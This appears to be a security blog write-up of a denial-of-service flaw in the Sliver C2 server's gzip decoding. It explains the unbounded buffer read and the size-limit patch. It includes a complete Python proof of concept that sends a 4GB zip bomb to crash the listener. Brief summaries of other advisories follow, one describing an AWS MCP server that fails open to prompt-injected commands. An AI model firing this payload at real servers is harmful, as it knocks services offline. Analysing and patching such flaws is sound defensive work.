Feb 25, 2026·6 min read·24 visits
Sliver C2 servers prior to v1.7.2 are vulnerable to a Zip Bomb attack. An unauthenticated attacker can send a tiny Gzip payload to the HTTP listener, which expands in memory without limits, triggering an Out-of-Memory (OOM) crash and killing the operation.
A high-severity Denial of Service (DoS) vulnerability exists in the BishopFox Sliver C2 framework. The vulnerability, caused by uncontrolled resource consumption in the Gzip decompression logic, allows an unauthenticated attacker to crash the Sliver server by sending a 'Zip Bomb'—a small, highly compressed payload that expands into gigabytes of data in memory.
BishopFox's Sliver is the darling of the modern red team arsenal. As Cobalt Strike licenses get harder to acquire (or crack) and detection signatures proliferate, operators have flocked to this open-source Golang beast. It’s robust, it’s cross-platform, and it handles C2 traffic like a champ. But here's the irony: the very tool used to exploit vulnerabilities in enterprise infrastructure had a gaping hole in its own front door.
This isn't a complex buffer overflow or a heap grooming nightmare. This is a logic flaw as old as the internet itself: the Zip Bomb.
When a C2 server listens for incoming HTTP traffic, it often needs to handle compressed data to keep beacons stealthy and efficient. But what happens when the server blindly trusts that the incoming compressed stream is well-behaved? GHSA-2phg-qgmm-r638 answers that question with a resounding crash. It turns out, you can take down a sophisticated adversary emulation server with a few kilobytes of zeros.
The vulnerability lived in the GzipEncoder component of the HTTP C2 listener. Specifically, the Gzip.Decode method in util/encoders/gzip.go was designed to take an incoming byte slice, spin up a Gzip reader, and spit out the decompressed data.
In Go, the standard library provides excellent tools for this, but they require the developer to implement guardrails. The Sliver code looked something like this:
func (g Gzip) Decode(data []byte) ([]byte, error) {
reader, err := gzip.NewReader(bytes.NewReader(data))
// ... error handling ...
var buf bytes.Buffer
_, err = buf.ReadFrom(reader) // <--- HERE BE DRAGONS
// ...
return buf.Bytes(), nil
}Do you see the problem? buf.ReadFrom(reader) is an eager little beaver. It reads from the source until it hits EOF. It doesn't care if the source is 1KB or 100GB. It just keeps allocating memory to buf to accommodate the decompressed stream.
This is the classic definition of CWE-409 (Improper Handling of Highly Compressed Data). Gzip, utilizing the DEFLATE algorithm, can achieve massive compression ratios on repetitive data (like a stream of null bytes). A 10MB upload can easily become 10GB in RAM. Since Go manages memory automatically, it will happily request more and more from the OS until the OS panics and the OOM (Out Of Memory) Killer assassinates the Sliver process.
The fix, landed in commit 0cf5a47cfdf94b6ab481ec3ea0db09f31654c0f0, is a textbook example of defense-in-depth for IO operations. The developers introduced a LimitedDecoder interface and enforced strict size limits on the output buffer.
Here is the essence of the patch. Instead of reading blindly, they wrapped the reader in io.LimitedReader:
// The Fix: Enforcing limits
limitedReader := &io.LimitedReader{
R: reader,
N: maxLen + 1, // Read one byte past the limit to detect overflow
}
_, err = buf.ReadFrom(limitedReader)
// Check if we hit the limit
if limitedReader.N == 0 {
return nil, fmt.Errorf("gzip decoded payload exceeds %d bytes", maxLen)
}They didn't just slap a hard limit on everything, though. They implemented tiered limits in server/c2/http.go:
DefaultMaxUnauthBodyLength (8MB). This applies to the initial handshake or unknown sessions. If you can't prove who you are, you don't get to allocate more than 8MB of RAM.DefaultMaxBodyLength (2GB). Once a session is established and trusted, the server allows larger payloads (likely for exfiltration or tooling uploads).This change effectively neutralizes the attack vector. An attacker trying to send a zip bomb without a valid session cookie will hit the 8MB wall and get dropped.
Exploiting this is delightfully simple. We don't need shellcode, we don't need ROP chains, and we don't need to bypass ASLR. We just need python and a lot of zeros.
The goal is to create a Gzip payload that is small enough to travel over the network quickly but large enough to exhaust the target server's RAM. A standard recursive "42.zip" isn't necessary here; a single flat stream of zeros compresses incredibly well.
Here is a conceptual Python PoC that would have killed a vulnerable server:
import gzip
import requests
import io
# 1. Create a buffer that expands to 4GB of zeros
# In memory, this is huge. On wire (compressed), it's tiny.
uncompressed_size = 4 * 1024 * 1024 * 1024 # 4GB
# We don't actually need to allocate 4GB in Python to create the zip.
# We can stream it or just compress a chunk of zeros with a high repeat count.
# For simplicity, let's just make a "bomb" string.
# A string of '0' * 1GB compresses to roughly ~1MB.
def generate_bomb():
# Create a dummy stream
buf = io.BytesIO()
with gzip.GzipFile(fileobj=buf, mode='wb') as f:
# Write chunks of zeros
chunk = b'\0' * (1024 * 1024) # 1MB chunk
for _ in range(1024 * 4): # 4096 chunks = 4GB
f.write(chunk)
return buf.getvalue()
payload = generate_bomb()
print(f"Payload size on wire: {len(payload) / 1024 / 1024:.2f} MB")
# 2. Fire it at the Sliver HTTP listener
target = "http://<sliver-ip>:<port>/<any-endpoint>"
headers = {
"Content-Encoding": "gzip",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
}
try:
# The server tries to decompress this 4GB blob into RAM.
requests.post(target, data=payload, headers=headers, timeout=10)
except:
print("Request failed... possibly because the server is dead.")When the Sliver server receives this ~4MB payload, the Gzip.Decode function begins inflating it. The Go runtime asks the OS for 1GB, then 2GB, then 3GB... until the host OS realizes it's out of physical memory and kills the process with the highest consumption: Sliver.
Usually, we talk about the impact on the business. Here, the "business" is a red team operation. If a blue teamer (or a rival threat actor) discovers a Sliver C2 node, they can nuke it instantly.
This is a Denial of Service, but in the context of C2, it's an Operational Kill.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Sliver BishopFox | < 1.7.2 | 1.7.2 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-409 (Improper Handling of Highly Compressed Data) |
| Attack Vector | Network (HTTP/HTTPS) |
| CVSS | 7.5 (High) |
| Impact | Denial of Service (DoS) |
| Exploit Status | Trivial / PoC Available |
| Authentication | None (Unauthenticated) |
An uncontrolled resource consumption vulnerability exists in the Scala-based http4s-blaze-server package of the http4s/blaze library. The vulnerability allows remote, unauthenticated attackers to cause an Out of Memory Error (OOM) and JVM crash by streaming a continuous sequence of small or empty WebSocket continuation frames with the FIN bit set to 0. This bypasses typical payload size checks because of the JVM's per-object allocation overhead, leading to rapid heap exhaustion with minimal network bandwidth.
A critical path traversal vulnerability has been identified in the OpenList Go-based backend package. The vulnerability exists within the batch rename handler because the application does not validate the source filename parameter before constructing filesystems paths. This omission allows authenticated users to escape their designated directory and rename files in sibling paths.
OpenList version 4.2.3 and prior is vulnerable to an authorization bypass and metadata leakage. When configured with the Bleve search engine backend, OpenList fails to perform separator-aware path matching when validating tenant containment. This allows authenticated users to access sibling directories sharing similar name prefixes. Furthermore, the search backend returns unfiltered global result counts, leaking existence verification data of unauthorized files via side-channel analysis.
An authorization bypass vulnerability in OpenList version 4.2.3 and below allows authenticated users to read arbitrary files outside of their designated base directories due to an insecure path prefix check using Go's standard strings.HasPrefix function.
A security policy bypass vulnerability exists in the AWS API MCP Server (awslabs-aws-api-mcp-server) from version 0.2.13 through 1.3.46. When the server fails to load the read-only operations index during startup (due to transient network failures, file permission issues, or other exceptions), it logs a warning but continues running in an insecure, degraded state. Under this condition, the security policy engine fails open, silently skipping all subsequent security checks and consent prompts for the lifetime of the process. This permits unauthorized mutating AWS CLI commands to execute via indirect prompt injection attacks.
An incomplete escaping vulnerability in the npm package 'shescape' allows unauthenticated users to trigger dynamic shell expansions, absolute path disclosure, and command block break-outs on Unix and Windows systems.